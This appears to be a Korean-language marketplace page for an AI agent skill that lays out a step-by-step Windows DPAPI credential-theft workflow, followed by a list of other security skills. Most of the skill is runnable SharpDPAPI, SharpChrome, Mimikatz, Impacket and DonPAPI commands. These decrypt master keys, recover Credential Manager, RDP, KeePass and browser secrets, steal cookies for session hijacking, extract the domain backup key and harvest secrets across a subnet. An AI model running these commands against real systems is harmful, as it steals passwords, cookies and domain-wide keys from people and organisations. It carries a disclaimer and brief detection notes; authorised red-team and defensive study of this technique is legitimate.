Communitygithub.com

abusing-dpapi-for-credential-access

Windows DPAPI로 보호된 자격 증명(Credential Manager, 브라우저 로그인/쿠키, Wi-Fi 자격 증명, KeePass 키)을 온라인 또는 오프라인에서 SharpDPAPI, SharpChrome, Mimikatz, Impacket을 사용하여 추출하고 복호화합니다.

abusing-dpapi-for-credential-access란 무엇인가요?

이 스킬은 Windows DPAPI(Data Protection API)를 악용하여 보호된 자격 증명을 복구하는 방법을 다룹니다. DPAPI는 Windows 운영 체제에 내장된 대칭 암호화 서비스로, RDP, Credential Manager, 브라우저 로그인, Wi-Fi, KeePass 등 다양한 애플리케이션의 비밀을 보호하는 데 사용됩니다. Red 팀은 이를 공격적으로 활용하여 주요 자격 증명을 탈취합니다. MITRE ATT&CK T1555.004에 매핑되며, 세 가지 주요 복호화 경로(온라인 컨텍스트 기반, 사용자 비밀번호/NTLM 해시 사용, 도메인 백업 키 사용)를 제공합니다. 주요 도구로는 SharpDPAPI, SharpChrome, Mimikatz, Impacket이 있으며, Windows와 Linux 환경을 모두 지원합니다. 이 스킬은 호스트 정찰, 마스터 키 복호화, Credential Manager, 브라우저 및 RDP 자격 증명 복구, 도메인 DPAPI 백업 키 획득 및 원격 수집까지의 완전한 워크플로우를 단계별로 설명합니다.

지원 대상~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/abusing-dpapi-for-credential-access

즐겨 사용하는 AI에게 물어보기

이 에이전트 스킬이 미리 로드된 새 채팅을 엽니다.

문서

DPAPI를 악용한 자격 증명 접근

법적 고지: 이 스킬은 공인된 침투 테스트, 레드팀 활동 및 교육 목적으로만 사용해야 합니다. 귀하가 소유하지 않거나 명시적인 서면 승인 없이 시스템에서 자격 증명을 추출하는 것은 불법이며 컴퓨터 사기 및 남용 관련 법률을 위반할 수 있습니다. 항상 서명된 활동 규칙(Rules of Engagement) 내에서 작업하고 모든 행동을 기록하십시오.

개요

Windows DPAPI(Data Protection API)는 운영 체제에 내장된 대칭 암호화 서비스로, 애플리케이션이 저장된 비밀을 보호하는 데 사용합니다. 여기에는 저장된 RDP 및 Windows Credential Manager 자격 증명, Credential Vault의 웹 및 Wi-Fi 자격 증명, 브라우저 저장 로그인 및 쿠키(Chrome/Edge), KeePass 키, 인증서 개인 키, 예약된 작업 비밀번호가 포함됩니다. DPAPI는 사용자 비밀번호(또는 시스템 계정 비밀)로부터 사용자별(또는 시스템별) 마스터 키를 파생하고, 이 마스터 키가 개별 "DPAPI blob"을 암호화합니다. 암호화된 마스터 키는 %APPDATA%\Microsoft\Protect\<SID>\(사용자) 및 %WINDIR%\System32\Microsoft\Protect\(시스템)에 저장됩니다.

레드팀은 초기 침투 후 DPAPI를 악용하여 일반 텍스트 비밀을 복구하며, 이는 MITRE ATT&CK **T1555.004 (자격 증명 저장소: Windows Credential Manager)**에 매핑됩니다. 세 가지 주요 복호화 경로가 있습니다:

  1. 온라인 / 컨텍스트 기반 — 대상 사용자로 실행 시, DPAPI API(CryptUnprotectData)가 사용자의 blob을 투명하게 복호화합니다. SharpDPAPI의 /unprotect 플래그가 이를 사용합니다.
  2. 사용자 비밀번호 또는 NTLM 해시를 사용한 오프라인 복호화 — /password: 또는 /ntlm:을 사용하여 사용자의 마스터 키를 복호화한 다음, 오프라인에서 blob을 복호화합니다(호스트에서 가져온 분류 파일에 적합).
  3. DPAPI 백업 키를 사용한 도메인 전체 복호화 — 도메인 관리자가 도메인의 RSA DPAPI 백업 키(.pvk)를 한 번 추출하면, 이후 온라인 또는 오프라인에서 /pvk:를 사용하여 모든 도메인 사용자의 마스터 키를 영구적으로 복호화할 수 있습니다.

공식적인 도구는 SharpDPAPI(GhostPack, Mimikatz DPAPI 기능의 C# 포트) for Windows, SharpChrome(브라우저 비밀), Mimikatz(dpapi::*)가 원래 구현입니다. Linux에서는 Impacket의 dpapi.py와 donpapi가 원격/오프라인 분류 작업을 수행합니다.

사용 시기

  • 저장된 RDP, 브라우저 또는 Vault 자격 증명이 측면 이동에 유용할 수 있는 Windows 호스트를 손상시킨 후.
  • 사용자의 비밀번호나 NTLM 해시를 보유하고 있으며 DPAPI로 보호된 비밀을 오프라인에서 복호화하려는 경우.
  • 도메인 관리자 권한을 획득하여 도메인 전체에서 모든 사용자의 보호된 데이터를 복호화할 수 있는 DPAPI 백업 키를 얻으려는 경우.
  • 디스크 이미지에서 Credentials, Vault, 또는 Protect 디렉토리를 추출하여 분석할 때.
  • DPAPI 마스터 키 접근 및 LSASS/Protect 폴더 읽기에 대한 탐지를 검증하는 퍼플팀 훈련 중.

전제 조건

  • 대상 Windows 호스트에 대한 공인된 침투(대화형 세션, 비콘, 또는 원격 관리).
  • 대상 사용자의 SID(보안 식별자) 및 다음 중 하나: 사용자 세션, 비밀번호, NTLM 해시, 또는 백업 키를 위한 도메인 관리자 권한.
  • 도구(소스에서 컴파일하거나 릴리스 바이너리 사용, 공식 업스트림에서만 획득):
# SharpDPAPI / SharpChrome (GhostPack) — Visual Studio / msbuild로 빌드
git clone https://github.com/GhostPack/SharpDPAPI.git
# SharpDPAPI.sln을 열고 Release 빌드, 또는:
msbuild SharpDPAPI.sln /p:Configuration=Release

# Mimikatz (원본 DPAPI 구현)
# https://github.com/gentilkiwi/mimikatz/releases

# Linux 원격/오프라인 분류(Impacket)
pipx install impacket            # dpapi.py / impacket-dpapi 제공
pipx install donpapi             # https://github.com/login-securite/DonPAPI

목표

  • 호스트에서 DPAPI로 보호된 자격 증명, Vault, RDP, 인증서 blob을 분류합니다.
  • 온라인(/unprotect), 비밀번호/해시, 또는 도메인 백업 키를 사용하여 사용자 마스터 키를 복호화합니다.
  • 일반 텍스트의 Credential Manager 및 Vault 비밀을 복구합니다.
  • SharpChrome을 사용하여 브라우저 저장 로그인 및 쿠키를 추출합니다.
  • 도메인 DPAPI 백업 키를 획득하고 재사용하여 전체 환경의 데이터를 복호화합니다.

MITRE ATT&CK 매핑

기술 ID이름전술관련성
T1555.004자격 증명 저장소: Windows Credential Manager자격 증명 접근DPAPI는 Credential Manager / Vault 항목을 보호합니다. 마스터 키와 blob을 복호화하면 저장된 자격 증명을 복구할 수 있습니다.
T1555.003자격 증명 저장소: 웹 브라우저의 자격 증명자격 증명 접근SharpChrome은 DPAPI로 보호된 Chrome/Edge 로그인, 쿠키 및 상태 키를 복호화합니다.
T1003OS 자격 증명 덤프자격 증명 접근마스터 키/백업 키 추출은 자격 증명 자료 덤프의 한 형태입니다.

워크플로우

1. 호스트에서 DPAPI blob 분류

사용자 컨텍스트에서 SharpDPAPI triage 명령을 실행하여 자격 증명, Vault, RDG/RDP, 인증서를 자동으로 열거하고(가능한 경우) 복호화합니다:

# 현재 사용자 컨텍스트에서 온라인 분류(CryptUnprotectData 사용)
SharpDPAPI.exe triage /unprotect

# 시스템 범위 blob의 경우 시스템 분류(로컬 관리자 / SYSTEM 필요)
SharpDPAPI.exe machinetriage

2. 사용자 마스터 키 오프라인 복호화(비밀번호 또는 NTLM 해시)

사용자의 비밀번호나 해시를 보유한 경우, 마스터 키를 복호화하여 {GUID}:SHA1 매핑을 생성하고 이를 개별 blob에 재사용할 수 있습니다:

# 비밀번호로 현재/지정된 사용자의 모든 마스터 키 복호화
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple

# 비밀번호 대신 사용자의 NTLM 해시로 마스터 키 복호화
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a

# 출력은 GUID:SHA1 줄입니다. credentials/vaults 명령에 입력으로 제공

3. Credential Manager 및 Vault 비밀 복구

복호화된 마스터 키 매핑(또는 /pvk:)을 사용하여 저장된 자격 증명 및 Vault 항목을 복호화합니다:

# GUID:SHA1 매핑으로 Credential Manager blob 복호화
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1

# 또는 대상 Credentials 폴더를 지정하고 도메인 백업 키로 복호화
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk

# Credential Vault 항목 복호화
SharpDPAPI.exe vaults /pvk:backupkey.pvk

4. RDP, KeePass, 인증서 비밀 복호화

# 저장된 RDCMan.settings RDP 비밀번호(현재 사용자 컨텍스트)
SharpDPAPI.exe rdg /unprotect

# KeePass DPAPI로 보호된 마스터 키
SharpDPAPI.exe keepass /unprotect

# 인증서 개인 키(/showall로 모든 저장소에서 내보내기 가능한 .pem 생성)
SharpDPAPI.exe certificates /unprotect /showall

5. SharpChrome으로 브라우저 자격 증명 추출

SharpChrome은 Chrome/Edge 로그인 및 쿠키를 복호화합니다. 최신 Chromium은 App-Bound "상태 키"를 사용하며, SharpChrome이 이를 DPAPI로 해결합니다:

# 현재 사용자의 저장 로그인 복호화
SharpChrome.exe logins /unprotect

# 대상 폴더의 쿠키 복호화(세션 하이재킹에 유용)
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk

# AES 상태 키 명시적 해결
SharpChrome.exe statekeys /unprotect

6. 도메인 DPAPI 백업 키 획득(도메인 관리자)

도메인 관리자 권한으로 도메인의 RSA DPAPI 백업 개인 키를 한 번 검색합니다. 이 키는 모든 도메인 사용자의 마스터 키를 영구적으로 복호화할 수 있습니다:

# MS-BKRP RPC 인터페이스를 통해 도메인 백업 키를 .pvk로 저장
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk

그런 다음 오프라인에서 모든 사용자의 마스터 키를 복호화합니다:

SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\

7. 원격 / Linux 기반 분류(Impacket / DonPAPI)

Linux 운영자 상자에서 호스트 간 DPAPI 비밀을 수집하고 복호화합니다:

# 도메인 백업 키로 단일 마스터 키 파일을 Impacket으로 복호화
impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk

# 복구된 마스터 키로 자격 증명 blob 복호화
impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>

# DonPAPI로 호스트 간 대량 원격 DPAPI 수집
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24

도구 및 리소스

도구목적링크
SharpDPAPIWindows DPAPI 분류/복호화 (C#)https://github.com/GhostPack/SharpDPAPI
SharpChromeChromium 로그인/쿠키/상태 키 복호화https://github.com/GhostPack/SharpDPAPI
Mimikatz원본 DPAPI (dpapi::*) 구현https://github.com/gentilkiwi/mimikatz
Impacket dpapi.py원격/오프라인 DPAPI 복호화 (Python)https://github.com/fortra/impacket
DonPAPI대량 원격 DPAPI 수집https://github.com/login-securite/DonPAPI
HackTricks DPAPI기술 참고 자료https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html

탐지 및 OPSEC 참고 사항

  • 마스터 키 접근 및 \Microsoft\Protect\, \Microsoft\Credentials\ 읽기는 탐지 가능합니다. backupkey는 DC에 MS-BKRP RPC 호출을 트리거합니다.
  • /unprotect(온라인) 경로는 단일 호스트에서 가장 은밀한 옵션이지만, 라이브 사용자로만 작동합니다.
  • 방어자는 Sysmon의 LSASS 프로세스 접근과 Protect/Credentials 폴더에 대한 비정상 접근을 모니터링해야 합니다(DE.CM-01).

검증 기준

  • SharpDPAPI triage / machinetriage로 호스트 분류 완료.
  • 사용자 마스터 키가 /unprotect, /password:, /ntlm:, 또는 /pvk:를 통해 복호화됨.
  • Credential Manager 및 Vault 비밀 복구됨.
  • RDP / KeePass / 인증서 비밀이 존재하는 경우 추출됨.
  • 브라우저 로그인/쿠키가 SharpChrome으로 복호화됨.
  • 도메인 DPAPI 백업 키가 도메인 관리자 권한으로 검색(범위 내인 경우)되고 오프라인에서 재사용됨.
  • 모든 복구된 비밀이 소스 호스트/사용자와 함께 문서화되고 ROE 준수가 확인됨.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

analyzing-docker-container-forensics

Investigate compromised Docker containers by analyzing images, layers,

관련 스킬